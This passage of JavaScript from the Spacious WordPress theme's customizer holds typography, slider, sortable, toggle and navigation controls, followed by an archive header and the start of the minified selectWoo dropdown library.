control.saveTypographyValue( 'font-family', $( this ).val(), $( this ), name );
// Render new list of selected font options.
control.renderTypographyVariantSelector( $( this ), name, control_atts );
control.renderTypographySubsetSelector( $( this ), name, control_atts );
}
);
},
getTypographyFonts : function () {
var control = this;
if ( ! _.isUndefined( SpaciousCustomizerControlTypography ) ) {
return SpaciousCustomizerControlTypography;
}
return {
google : [],
standard : []
};
},
renderTypographyVariantSelector : function ( element, name, control_atts ) {
var control = this,
input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ),
value = JSON.parse( input.val() ),
fontFamily = value['font-family'],
variants = control.getTypographyVariants( fontFamily ),
selector = control.selector + ' .font-weight select',
data = [],
isValid = false,
variantSelector;
if ( false !== variants ) {
$( control.selector + ' .font-weight' ).show();
_.each(
variants,
function ( variant ) {
if ( value['font-weight'] === variant.id ) {
isValid = true;
}
data.push(
{
id : variant.id,
text : variant.label
}
);
}
);
if ( ! isValid ) {
value['font-weight'] = 'regular';
}
if ( $( selector ).hasClass( 'select2-hidden-accessible' ) ) {
$( selector ).selectWoo( 'destroy' );
$( selector ).empty();
}
// Instantiate selectWoo with the data.
variantSelector = $( selector ).selectWoo(
{
data : data,
width : '100%'
}
);
variantSelector.val( value['font-weight'] ).trigger( 'change' );
variantSelector.on(
'change',
function () {
control.saveTypographyValue( 'font-weight', $( this ).val(), $( this ), name );
}
);
} else {
$( control.selector + ' .font-weight' ).hide();
}
},
getTypographyVariants : function ( fontFamily ) {
var control = this,
fonts = control.getTypographyFonts();
var variants = false;
_.each(
fonts.standard,
function ( font ) {
if ( fontFamily && font.family === fontFamily.replace( /'/g, '"' ) ) {
variants = font.variants;
return variants;
}
}
);
_.each(
fonts.google,
function ( font ) {
if ( font.family === fontFamily ) {
variants = font.variants;
return variants;
}
}
);
// For custom fonts.
if ( ! _.isUndefined( fonts.custom ) ) {
_.each(
fonts.custom,
function ( font ) {
if ( font.custom === fontFamily ) {
variants = font.variants;
return variants;
}
}
);
}
return variants;
},
renderTypographySubsetSelector : function ( element, name, control_atts ) {
var control = this,
input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ),
value = JSON.parse( input.val() ),
fontFamily = value['font-family'],
subsets = control.getTypographySubsets( fontFamily ),
selector = control.selector + ' .subsets select',
data = [],
validValue = value.subsets,
subsetSelector;
if ( false !== subsets ) {
$( control.selector + ' .subsets' ).show();
_.each(
subsets,
function ( subset ) {
if ( _.isObject( validValue ) ) {
if ( - 1 === validValue.indexOf( subset.id ) ) {
validValue = _.reject(
validValue,
function ( subValue ) {
return subValue === subset.id;
}
);
}
}
data.push(
{
id : subset.id,
text : subset.label
}
);
}
);
} else {
$( control.selector + ' .subsets' ).hide();
}
if ( $( selector ).hasClass( 'select2-hidden-accessible' ) ) {
$( selector ).selectWoo( 'destroy' );
$( selector ).empty();
}
// Instantiate selectWoo with the data.
subsetSelector = $( selector ).selectWoo(
{
data : data,
width : '100%'
}
);
subsetSelector.val( validValue ).trigger( 'change' );
subsetSelector.on(
'change',
function () {
control.saveTypographyValue( 'subsets', $( this ).val(), $( this ), name );
}
);
},
getTypographySubsets : function ( fontFamily ) {
var control = this,
subsets = false,
fonts = control.getTypographyFonts();
_.each(
fonts.google,
function ( font ) {
if ( font.family === fontFamily ) {
subsets = font.subsets;
return subsets;
}
}
);
return subsets;
},
saveTypographyFontSize : function ( element, name, control_atts ) {
var control = this,
input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ),
val = JSON.parse( input.val() ),
control_name = control_atts.name,
controlContainer = control.container.find( '#customize-control-' + control_name ),
newValue = {
'font-size' : {}
};
controlContainer.find( '.font-size .control-wrap' ).each(
function () {
var controlValue = $( this ).find( 'input' ).val();
var device = $( this ).find( 'input' ).data( 'device' );
newValue['font-size'][device] = controlValue;
}
);
// Extend/Update the `val` object to include `newValue`'s new data as an object.
$.extend( val, newValue );
$( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
name = $( element ).parents( '.customize-control' ).attr( 'id' );
name = name.replace( 'customize-control-', '' );
control.container.trigger(
'spacious_settings_changed',
[
control,
element,
val,
name
]
);
},
saveTypographyLineHeight : function ( element, name, control_atts ) {
var control = this,
input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ),
val = JSON.parse( input.val() ),
control_name = control_atts.name,
controlContainer = control.container.find( '#customize-control-' + control_name ),
newValue = {
'line-height' : {}
};
controlContainer.find( '.line-height .control-wrap' ).each(
function () {
var controlValue = $( this ).find( 'input' ).val();
var device = $( this ).find( 'input' ).data( 'device' );
newValue['line-height'][device] = controlValue;
}
);
// Extend/Update the `val` object to include `newValue`'s new data as an object.
$.extend( val, newValue );
$( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
name = $( element ).parents( '.customize-control' ).attr( 'id' );
name = name.replace( 'customize-control-', '' );
control.container.trigger(
'spacious_settings_changed',
[
control,
element,
val,
name
]
);
},
saveTypographyLetterSpacing : function ( element, name, control_atts ) {
var control = this,
input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ),
val = JSON.parse( input.val() ),
control_name = control_atts.name,
controlContainer = control.container.find( '#customize-control-' + control_name ),
newValue = {
'letter-spacing' : {}
};
controlContainer.find( '.letter-spacing .control-wrap' ).each(
function () {
var controlValue = $( this ).find( 'input' ).val();
var device = $( this ).find( 'input' ).data( 'device' );
newValue['letter-spacing'][device] = controlValue;
}
);
// Extend/Update the `val` object to include `newValue`'s new data as an object.
$.extend( val, newValue );
$( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
name = $( element ).parents( '.customize-control' ).attr( 'id' );
name = name.replace( 'customize-control-', '' );
control.container.trigger(
'spacious_settings_changed',
[
control,
element,
val,
name
]
);
},
saveTypographyValue : function ( property, value, element, name ) {
var control = this,
input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ),
val = JSON.parse( input.val() );
val[property] = value;
$( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
name = $( element ).parents( '.customize-control' ).attr( 'id' );
name = name.replace( 'customize-control-', '' );
control.container.trigger(
'spacious_settings_changed',
[
control,
element,
val,
name
]
);
},
} );
}
)( jQuery );
/**
* Background image control JS to handle the navigate customize option.
*
* File `navigate.js`.
*
* @package Spacious
*/
(
function ( $ ) {
$( window ).on( 'load', function () {
$( '.tg-navigate a' ).on( 'click', function ( e ) {
e.preventDefault();
var targetSection = $( this ).data( 'section' );
if ( targetSection ) {
wp.customize.section( targetSection ).focus();
}
} );
} );
}
)( jQuery );
/**
* Radio image control JS to handle the toggle of radio images.
*
* File `radio-image.js`.
*
* @package Spacious
*/
wp.customize.controlConstructor[ 'spacious-radio-image' ] = wp.customize.Control.extend( {
ready : function () {
'use strict';
var control = this;
// Change the value.
this.container.on( 'click', 'input', function () {
control.setting.set( jQuery( this ).val() );
} );
}
} );
/**
* Slider control JS to handle the range of the inputs.
*
* File `slider.js`.
*
* @package Spacious
*/
wp.customize.controlConstructor['spacious-slider'] = wp.customize.Control.extend( {
ready : function () {
'use strict';
var control = this;
// Update the text value.
this.container.find( 'input[type=range]' ).on( 'input change', function () {
var value = jQuery( this ).val(),
input_number = jQuery( this ).closest( '.slider-wrapper' ).find( '.spacious-range-value .value' );
input_number.val( value );
input_number.change();
} );
// Handle the reset button.
this.container.find( '.spacious-slider-reset' ).click( function () {
var wrapper = jQuery( this ).closest( '.slider-wrapper' ),
input_range = wrapper.find( 'input[type=range]' ),
input_number = wrapper.find( '.spacious-range-value .value' ),
default_value = input_range.data( 'reset_value' );
input_range.val( default_value );
input_number.val( default_value );
input_number.change();
} );
// Save changes.
this.container.on( 'input change', 'input[type=number]', function () {
var value = jQuery( this ).val();
jQuery( this ).closest( '.slider-wrapper' ).find( 'input[type=range]' ).val( value );
control.setting.set( value );
} );
}
} );
/**
* Sortable control JS to handle the sortable feature of custom customize controls.
*
* File `sortable.js`.
*
* @package Spacious
*/
wp.customize.controlConstructor['spacious-sortable'] = wp.customize.Control.extend( {
ready : function () {
'use strict';
var control = this;
// Set the sortable container.
control.sortableContainer = control.container.find( 'ul.sortable' ).first();
// Init sortable.
control.sortableContainer.sortable(
{
// Update value when we stop sorting.
stop : function () {
control.updateValue();
}
}
).disableSelection().find( 'li' ).each(
function () {
// Enable/disable options when we click on the eye of Thundera.
jQuery( this ).find( 'i.visibility' ).click(
function () {
jQuery( this ).toggleClass( 'dashicons-visibility-faint' ).parents( 'li:eq(0)' ).toggleClass( 'invisible' );
}
);
}
).click(
function () {
// Update value on click.
control.updateValue();
}
);
},
updateValue : function () {
'use strict';
var control = this,
newValue = [];
this.sortableContainer.find( 'li' ).each(
function () {
if ( ! jQuery( this ).is( '.invisible' ) ) {
newValue.push( jQuery( this ).data( 'value' ) );
}
}
);
control.setting.set( newValue );
}
} );
/**
* Switch toggle control JS to handle the toggle of custom customize controls.
*
* File `toggle.js`.
*
* @package Spacious
*/
wp.customize.controlConstructor['spacious-toggle'] = wp.customize.Control.extend( {
ready : function () {
'use strict';
var control = this,
value = control.setting._value;
// Save the value.
this.container.on( 'change', 'input', function () {
value = jQuery( this ).is( ':checked' ) ? true : false;
control.setting.set( value );
} );
}
} );
/**
* Typography control JS to handle the typography customize option.
*
* File `typography.js`.
*
* @package Spacious
*/
wp.customize.controlConstructor['spacious-typography'] = wp.customize.Control.extend( {
ready : function () {
'use strict';
var control = this;
// On customizer load, render the available font options.
control.renderFontSelector();
control.renderVariantSelector();
control.renderSubsetSelector();
// Font style setting.
control.container.on( 'change', '.font-style select', function () {
control.saveValue( 'font-style', jQuery( this ).val() );
} );
// Text transform setting.
control.container.on( 'change', '.text-transform select', function () {
control.saveValue( 'text-transform', jQuery( this ).val() );
} );
// Text decoration setting.
control.container.on( 'change', '.text-decoration select', function () {
control.saveValue( 'text-decoration', jQuery( this ).val() );
} );
// Font size setting.
control.container.on( 'change keyup paste input', '.font-size input', function () {
control.updateFontSize();
} );
// Line height setting.
control.container.on( 'change keyup paste input', '.line-height input', function () {
control.updateLineHeight();
} );
// Letter spacing setting.
control.container.on( 'change keyup paste input', '.letter-spacing input', function () {
control.updateLetterSpacing();
} );
},
renderFontSelector : function () {
var control = this,
selector = control.selector + ' .font-family select',
standardFonts = [],
googleFonts = [],
customFonts = [],
value = control.setting._value,
fonts = control.getFonts(),
fontSelect;
// Format standard fonts as an array.
if ( ! _.isUndefined( fonts.standard ) ) {
_.each(
fonts.standard,
function ( font ) {
standardFonts.push(
{
id : font.family.replace( /"/g, ''' ),
text : font.label
}
);
}
);
}
// Format Google fonts as an array.
if ( ! _.isUndefined( fonts.google ) ) {
_.each(
fonts.google,
function ( font ) {
googleFonts.push(
{
id : font.family,
text : font.label
}
);
}
);
}
// Combine fonts and build the final data.
data = [
{
text : fonts.standardfontslabel,
children : standardFonts
},
{
text : fonts.googlefontslabel,
children : googleFonts
}
];
// Format custom fonts as an array.
if ( ! _.isUndefined( fonts.custom ) ) {
_.each(
fonts.custom,
function ( font ) {
customFonts.push(
{
id : font.family,
text : font.label
}
);
}
);
// Merge on `data` array.
data.push(
{
text : fonts.customfontslabel,
children : customFonts
}
);
}
// Instantiate selectWoo with the data.
fontSelect = jQuery( selector ).selectWoo(
{
data : data,
width : '100%'
}
);
// Set the initial value.
if ( value['font-family'] ) {
fontSelect.val( value['font-family'].replace( /'/g, '"' ) ).trigger( 'change' );
}
// When the font option value changes.
fontSelect.on(
'change',
function () {
// Set the value.
control.saveValue( 'font-family', jQuery( this ).val() );
// Render new list of selected font options.
control.renderVariantSelector();
control.renderSubsetSelector();
}
);
},
getFonts : function () {
var control = this;
if ( ! _.isUndefined( SpaciousCustomizerControlTypography ) ) {
return SpaciousCustomizerControlTypography;
}
return {
google : [],
standard : []
};
},
renderVariantSelector : function () {
var control = this,
value = control.setting._value,
fontFamily = value['font-family'],
variants = control.getVariants( fontFamily ),
selector = control.selector + ' .font-weight select',
data = [],
isValid = false,
variantSelector;
if ( false !== variants ) {
jQuery( control.selector + ' .font-weight' ).show();
_.each(
variants,
function ( variant ) {
if ( value['font-weight'] === variant.id ) {
isValid = true;
}
data.push(
{
id : variant.id,
text : variant.label
}
);
}
);
if ( ! isValid ) {
value['font-weight'] = 'regular';
}
if ( jQuery( selector ).hasClass( 'select2-hidden-accessible' ) ) {
jQuery( selector ).selectWoo( 'destroy' );
jQuery( selector ).empty();
}
// Instantiate selectWoo with the data.
variantSelector = jQuery( selector ).selectWoo(
{
data : data,
width : '100%'
}
);
variantSelector.val( value['font-weight'] ).trigger( 'change' );
variantSelector.on(
'change',
function () {
control.saveValue( 'font-weight', jQuery( this ).val() );
}
);
} else {
jQuery( control.selector + ' .font-weight' ).hide();
}
},
getVariants : function ( fontFamily ) {
var control = this,
fonts = control.getFonts();
var variants = false;
_.each(
fonts.standard,
function ( font ) {
if ( fontFamily && font.family === fontFamily.replace( /'/g, '"' ) ) {
variants = font.variants;
return variants;
}
}
);
_.each(
fonts.google,
function ( font ) {
if ( font.family === fontFamily ) {
variants = font.variants;
return variants;
}
}
);
// For custom fonts.
if ( ! _.isUndefined( fonts.custom ) ) {
_.each(
fonts.custom,
function ( font ) {
if ( font.custom === fontFamily ) {
variants = font.variants;
return variants;
}
}
);
}
return variants;
},
renderSubsetSelector : function () {
var control = this,
value = control.setting._value,
fontFamily = value['font-family'],
subsets = control.getSubsets( fontFamily ),
selector = control.selector + ' .subsets select',
data = [],
validValue = value.subsets,
subsetSelector;
if ( false !== subsets ) {
jQuery( control.selector + ' .subsets' ).show();
_.each(
subsets,
function ( subset ) {
if ( _.isObject( validValue ) ) {
if ( - 1 === validValue.indexOf( subset.id ) ) {
validValue = _.reject(
validValue,
function ( subValue ) {
return subValue === subset.id;
}
);
}
}
data.push(
{
id : subset.id,
text : subset.label
}
);
}
);
} else {
jQuery( control.selector + ' .subsets' ).hide();
}
if ( jQuery( selector ).hasClass( 'select2-hidden-accessible' ) ) {
jQuery( selector ).selectWoo( 'destroy' );
jQuery( selector ).empty();
}
// Instantiate selectWoo with the data.
subsetSelector = jQuery( selector ).selectWoo(
{
data : data,
width : '100%'
}
);
subsetSelector.val( validValue ).trigger( 'change' );
subsetSelector.on(
'change',
function () {
control.saveValue( 'subsets', jQuery( this ).val() );
}
);
},
getSubsets : function ( fontFamily ) {
var control = this,
subsets = false,
fonts = control.getFonts();
_.each(
fonts.google,
function ( font ) {
if ( font.family === fontFamily ) {
subsets = font.subsets;
return subsets;
}
}
);
return subsets;
},
saveValue : function ( property, value ) {
var control = this,
input = control.container.find( '.typography-hidden-value' ),
val = control.setting._value;
val[property] = value;
jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
control.setting.set( val );
},
updateFontSize : function () {
var control = this,
val = control.setting._value,
input = control.container.find( '.typography-hidden-value' ),
newValue = {
'font-size' : {}
};
control.container.find( '.font-size .control-wrap' ).each(
function () {
var controlValue = jQuery( this ).find( 'input' ).val();
var device = jQuery( this ).find( 'input' ).data( 'device' );
newValue['font-size'][device] = controlValue;
}
);
// Extend/Update the `val` object to include `newValue`'s new data as an object.
jQuery.extend( val, newValue );
jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
control.setting.set( val );
},
updateLineHeight : function () {
var control = this,
val = control.setting._value,
input = control.container.find( '.typography-hidden-value' ),
newValue = {
'line-height' : {}
};
control.container.find( '.line-height .control-wrap' ).each(
function () {
var controlValue = jQuery( this ).find( 'input' ).val();
var device = jQuery( this ).find( 'input' ).data( 'device' );
newValue['line-height'][device] = controlValue;
}
);
// Extend/Update the `val` object to include `newValue`'s new data as an object.
jQuery.extend( val, newValue );
jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
control.setting.set( val );
},
updateLetterSpacing : function () {
var control = this,
val = control.setting._value,
input = control.container.find( '.typography-hidden-value' ),
newValue = {
'letter-spacing' : {}
};
control.container.find( '.letter-spacing .control-wrap' ).each(
function () {
var controlValue = jQuery( this ).find( 'input' ).val();
var device = jQuery( this ).find( 'input' ).data( 'device' );
newValue['letter-spacing'][device] = controlValue;
}
);
// Extend/Update the `val` object to include `newValue`'s new data as an object.
jQuery.extend( val, newValue );
jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
control.setting.set( val );
}
} );
core/custom-controls/assets/js/selectWoo.min.js 0000666 00000204562 15236704333 0015674 0 ustar 00 !function(n){"function"==typeof define&&define.amd?define(["jquery"],n):"object"==typeof module&&module.exports?module.exports=function(e,t){return void 0===t&&(t="undefined"!=typeof window?require("jquery"):require("jquery")(e)),n(t),t}:n(jQuery)}(function(t){var e,n,o,p,s,r,h,f,g,m,y,v,i,a,_,o=(t&&t.fn&&t.fn.select2&&t.fn.select2.amd&&(u=t.fn.select2.amd),u&&u.requirejs||(u?n=u:u={},g={},m={},y={},v={},i=Object.prototype.hasOwnProperty,a=[].slice,_=/\.js$/,h=function(e,t){var n,o,i=c(e),s=i[0],t=t[1];return e=i[1],s&&(n=A(s=l(s,t))),s?e=n&&n.normalize?n.normalize(e,(o=t,function(e){return l(e,o)})):l(e,t):(s=(i=c(e=l(e,t)))[0],e=i[1],s&&(n=A(s))),{f:s?s+"!"+e:e,n:e,pr:s,p:n}},f={require:function(e){return b(e)},exports:function(e){var t=g[e];return void 0!==t?t:g[e]={}},module:function(e){return{id:e,uri:"",exports:g[e],config:(t=e,function(){return y&&y.config&&y.config[t]||{}})};var t}},s=function(e,t,n,o){var i,s,r,a,l,c=[],u=typeof n,d=x(o=o||e);if("undefined"==u||"function"==u){for(t=!t.length&&n.length?["require","exports","module"]:t,a=0;a<t.length;a+=1)if("require"===(s=(r=h(t[a],d)).f))c[a]=f.require(e);else if("exports"===s)c[a]=f.exports(e),l=!0;else if("module"===s)i=c[a]=f.module(e);else if(w(g,s)||w(m,s)||w(v,s))c[a]=A(s);else{if(!r.p)throw new Error(e+" missing "+s);r.p.load(r.n,b(o,!0),function(t){return function(e){g[t]=e}}(s),{}),c[a]=g[s]}u=n?n.apply(g[e],c):void 0,e&&(i&&i.exports!==p&&i.exports!==g[e]?g[e]=i.exports:u===p&&l||(g[e]=u))}else e&&(g[e]=n)},e=n=r=function(e,t,n,o,i){if("string"==typeof e)return f[e]?f[e](t):A(h(e,x(t)).f);if(!e.splice){if((y=e).deps&&r(y.deps,y.callback),!t)return;t.splice?(e=t,t=n,n=null):e=p}return t=t||function(){},"function"==typeof n&&(n=o,o=i),o?s(p,e,t,n):setTimeout(function(){s(p,e,t,n)},4),r},r.config=function(e){return r(e)},e._defined=g,(o=function(e,t,n){if("string"!=typeof e)throw new Error("See almond README: incorrect module build, no module name");t.splice||(n=t,t=[]),w(g,e)||w(m,e)||(m[e]=[e,t,n])}).amd={jQuery:!0},u.requirejs=e,u.require=n,u.define=o),u.define("almond",function(){}),u.define("jquery",[],function(){var e=t||$;return null==e&&console&&console.error&&console.error("Select2: An instance of jQuery or a jQuery-compatible library was not found. Make sure that you are including jQuery before Select2 on your web page."),e}),u.define("select2/utils",["jquery"],function(s){var e={};function c(e){var t,n=e.prototype,o=[];for(t in n){"function"==typeof n[t]&&"constructor"!==t&&o.push(t)}return o}e.Extend=function(e,t){var n,o={}.hasOwnProperty;function i(){this.constructor=e}for(n in t)o.call(t,n)&&(e[n]=t[n]);return i.prototype=t.prototype,e.prototype=new i,e.__super__=t.prototype,e},e.Decorate=function(o,i){var e=c(i),t=c(o);function s(){var e=Array.prototype.unshift,t=i.prototype.constructor.length,n=o.prototype.constructor;0<t&&(e.call(arguments,o.prototype.constructor),n=i.prototype.constructor),n.apply(this,arguments)}i.displayName=o.displayName,s.prototype=new function(){this.constructor=s};for(var n=0;n<t.length;n++){var r=t[n];s.prototype[r]=o.prototype[r]}for(var a=0;a<e.length;a++){var l=e[a];s.prototype[l]=function(e){var t=function(){};e in s.prototype&&(t=s.prototype[e]);var n=i.prototype[e];return function(){return Array.prototype.unshift.call(arguments,t),n.apply(this,arguments)}}(l)}return s};function t(){this.listeners={}}return t.prototype.on=function(e,t){this.listeners=this.listeners||{},e in this.listeners?this.listeners[e].push(t):this.listeners[e]=[t]},t.prototype.trigger=function(e){var t=Array.prototype.slice,n=t.call(arguments,1);this.listeners=this.listeners||{},null==n&&(n=[]),0===n.length&&n.push({}),(n[0]._type=e)in this.listeners&&this.invoke(this.listeners[e],t.call(arguments,1)),"*"in this.listeners&&this.invoke(this.listeners["*"],arguments)},t.prototype.invoke=function(e,t){for(var n=0,o=e.length;n<o;n++)e[n].apply(this,t)},e.Observable=t,e.generateChars=function(e){for(var t="",n=0;n<e;n++){t+=Math.floor(36*Math.random()).toString(36)}return t},e.bind=function(e,t){return function(){e.apply(t,arguments)}},e._convertData=function(e){for(var t in e){var n=t.split("-"),o=e;if(1!==n.length){for(var i=0;i<n.length;i++){var s=n[i];(s=s.substring(0,1).toLowerCase()+s.substring(1))in o||(o[s]={}),i==n.length-1&&(o[s]=e[t]),o=o[s]}delete e[t]}}return e},e.hasScroll=function(e,t){var n=s(t),o=t.style.overflowX,i=t.style.overflowY;return(o!==i||"hidden"!==i&&"visible"!==i)&&("scroll"===o||"scroll"===i||(n.innerHeight()<t.scrollHeight||n.innerWidth()<t.scrollWidth))},e.escapeMarkup=function(e){var t={"\\":"\","&":"&","<":"<",">":">",'"':""","'":"'","/":"/"};return"string"!=typeof e?e:String(e).replace(/[&<>"'\/\\]/g,function(e){return t[e]})},e.appendMany=function(e,t){var n;"1.7"===s.fn.jquery.substr(0,3)&&(n=s(),s.map(t,function(e){n=n.add(e)}),t=n),e.append(t)},e.isTouchscreen=function(){return void 0===e._isTouchscreenCache&&(e._isTouchscreenCache="ontouchstart"in document.documentElement),e._isTouchscreenCache},e}),u.define("select2/results",["jquery","./utils"],function(d,e){function o(e,t,n){this.$element=e,this.data=n,this.options=t,o.__super__.constructor.call(this)}return e.Extend(o,e.Observable),o.prototype.render=function(){var e=d('<ul class="select2-results__options" role="listbox" tabindex="-1"></ul>');return this.options.get("multiple")&&e.attr("aria-multiselectable","true"),this.$results=e},o.prototype.clear=function(){this.$results.empty()},o.prototype.displayMessage=function(e){var t=this.options.get("escapeMarkup");this.clear(),this.hideLoading();var n=d('<li role="alert" aria-live="assertive" class="select2-results__option"></li>'),o=this.options.get("translations").get(e.message);n.append(t(o(e.args))),n[0].className+=" select2-results__message",this.$results.append(n)},o.prototype.hideMessages=function(){this.$results.find(".select2-results__message").remove()},o.prototype.append=function(e){this.hideLoading();var t=[];if(null!=e.results&&0!==e.results.length){e.results=this.sort(e.results);for(var n=0;n<e.results.length;n++){var o=e.results[n],o=this.option(o);t.push(o)}this.$results.append(t)}else 0===this.$results.children().length&&this.trigger("results:message",{message:"noResults"})},o.prototype.position=function(e,t){t.find(".select2-results").append(e)},o.prototype.sort=function(e){return this.options.get("sorter")(e)},o.prototype.highlightFirstItem=function(){var e=this.$results.find(".select2-results__option[data-selected]"),t=e.filter("[data-selected=true]");(0<t.length?t:e).first().trigger("mouseenter"),this.ensureHighlightVisible()},o.prototype.setClasses=function(){var t=this;this.data.current(function(e){var o=d.map(e,function(e){return e.id.toString()});t.$results.find(".select2-results__option[data-selected]").each(function(){var e=d(this),t=d.data(this,"data"),n=""+t.id;null!=t.element&&t.element.selected||null==t.element&&-1<d.inArray(n,o)?e.attr("data-selected","true"):e.attr("data-selected","false")})})},o.prototype.showLoading=function(e){this.hideLoading();e={disabled:!0,loading:!0,text:this.options.get("translations").get("searching")(e)},e=this.option(e);e.className+=" loading-results",this.$results.prepend(e)},o.prototype.hideLoading=function(){this.$results.find(".loading-results").remove()},o.prototype.option=function(e){var t=document.createElement("li");t.className="select2-results__option";var n,o={role:"option","data-selected":"false",tabindex:-1};for(n in e.disabled&&(delete o["data-selected"],o["aria-disabled"]="true"),null==e.id&&delete o["data-selected"],null!=e._resultId&&(t.id=e._resultId),e.title&&(t.title=e.title),e.children&&(o["aria-label"]=e.text,delete o["data-selected"]),o){var i=o[n];t.setAttribute(n,i)}if(e.children){var s=d(t),r=document.createElement("strong");r.className="select2-results__group";var a=d(r);this.template(e,r),a.attr("role","presentation");for(var l=[],c=0;c<e.children.length;c++){var u=e.children[c],u=this.option(u);l.push(u)}a=d("<ul></ul>",{class:"select2-results__options select2-results__options--nested",role:"listbox"});a.append(l),s.attr("role","list"),s.append(r),s.append(a)}else this.template(e,t);return d.data(t,"data",e),t},o.prototype.bind=function(t,e){var i=this,n=t.id+"-results";this.$results.attr("id",n),t.on("results:all",function(e){i.clear(),i.append(e.data),t.isOpen()&&(i.setClasses(),i.highlightFirstItem())}),t.on("results:append",function(e){i.append(e.data),t.isOpen()&&i.setClasses()}),t.on("query",function(e){i.hideMessages(),i.showLoading(e)}),t.on("select",function(){t.isOpen()&&(i.setClasses(),i.highlightFirstItem())}),t.on("unselect",function(){t.isOpen()&&(i.setClasses(),i.highlightFirstItem())}),t.on("open",function(){i.$results.attr("aria-expanded","true"),i.$results.attr("aria-hidden","false"),i.setClasses(),i.ensureHighlightVisible()}),t.on("close",function(){i.$results.attr("aria-expanded","false"),i.$results.attr("aria-hidden","true"),i.$results.removeAttr("aria-activedescendant")}),t.on("results:toggle",function(){var e=i.getHighlightedResults();0!==e.length&&e.trigger("mouseup")}),t.on("results:select",function(){var e,t=i.getHighlightedResults();0!==t.length&&(e=t.data("data"),"true"==t.attr("data-selected")?i.trigger("close",{}):i.trigger("select",{data:e}))}),t.on("results:previous",function(){var e,t=i.getHighlightedResults(),n=i.$results.find("[data-selected]"),o=n.index(t);0!==o&&(e=o-1,0===t.length&&(e=0),(o=n.eq(e)).trigger("mouseenter"),t=i.$results.offset().top,n=o.offset().top,o=i.$results.scrollTop()+(n-t),0===e?i.$results.scrollTop(0):n-t<0&&i.$results.scrollTop(o))}),t.on("results:next",function(){var e,t=i.getHighlightedResults(),n=i.$results.find("[data-selected]"),o=n.index(t)+1;o>=n.length||((e=n.eq(o)).trigger("mouseenter"),t=i.$results.offset().top+i.$results.outerHeight(!1),n=e.offset().top+e.outerHeight(!1),e=i.$results.scrollTop()+n-t,0===o?i.$results.scrollTop(0):t<n&&i.$results.scrollTop(e))}),t.on("results:focus",function(e){e.element.addClass("select2-results__option--highlighted").attr("aria-selected","true"),i.$results.attr("aria-activedescendant",e.element.attr("id"))}),t.on("results:message",function(e){i.displayMessage(e)}),d.fn.mousewheel&&this.$results.on("mousewheel",function(e){var t=i.$results.scrollTop(),n=i.$results.get(0).scrollHeight-t+e.deltaY,t=0<e.deltaY&&t-e.deltaY<=0,n=e.deltaY<0&&n<=i.$results.height();t?(i.$results.scrollTop(0),e.preventDefault(),e.stopPropagation()):n&&(i.$results.scrollTop(i.$results.get(0).scrollHeight-i.$results.height()),e.preventDefault(),e.stopPropagation())}),this.$results.on("mouseup",".select2-results__option[data-selected]",function(e){var t=d(this),n=t.data("data");"true"!==t.attr("data-selected")?i.trigger("select",{originalEvent:e,data:n}):i.options.get("multiple")?i.trigger("unselect",{originalEvent:e,data:n}):i.trigger("close",{})}),this.$results.on("mouseenter",".select2-results__option[data-selected]",function(e){var t=d(this).data("data");i.getHighlightedResults().removeClass("select2-results__option--highlighted").attr("aria-selected","false"),i.trigger("results:focus",{data:t,element:d(this)})})},o.prototype.getHighlightedResults=function(){return this.$results.find(".select2-results__option--highlighted")},o.prototype.destroy=function(){this.$results.remove()},o.prototype.ensureHighlightVisible=function(){var e,t,n,o,i=this.getHighlightedResults();0!==i.length&&(e=this.$results.find("[data-selected]").index(i),o=this.$results.offset().top,t=i.offset().top,n=this.$results.scrollTop()+(t-o),o=t-o,n-=2*i.outerHeight(!1),e<=2?this.$results.scrollTop(0):(o>this.$results.outerHeight()||o<0)&&this.$results.scrollTop(n))},o.prototype.template=function(e,t){var n=this.options.get("templateResult"),o=this.options.get("escapeMarkup"),e=n(e,t);null==e?t.style.display="none":"string"==typeof e?t.innerHTML=o(e):d(t).append(e)},o}),u.define("select2/keys",[],function(){return{BACKSPACE:8,TAB:9,ENTER:13,SHIFT:16,CTRL:17,ALT:18,ESC:27,SPACE:32,PAGE_UP:33,PAGE_DOWN:34,END:35,HOME:36,LEFT:37,UP:38,RIGHT:39,DOWN:40,DELETE:46}}),u.define("select2/selection/base",["jquery","../utils","../keys"],function(o,e,i){function n(e,t){this.$element=e,this.options=t,n.__super__.constructor.call(this)}return e.Extend(n,e.Observable),n.prototype.render=function(){var e=o('<span class="select2-selection" aria-haspopup="true" aria-expanded="false"></span>');return this._tabindex=0,null!=this.$element.data("old-tabindex")?this._tabindex=this.$element.data("old-tabindex"):null!=this.$element.attr("tabindex")&&(this._tabindex=this.$element.attr("tabindex")),e.attr("title",this.$element.attr("title")),e.attr("tabindex",this._tabindex),this.$selection=e},n.prototype.bind=function(e,t){var 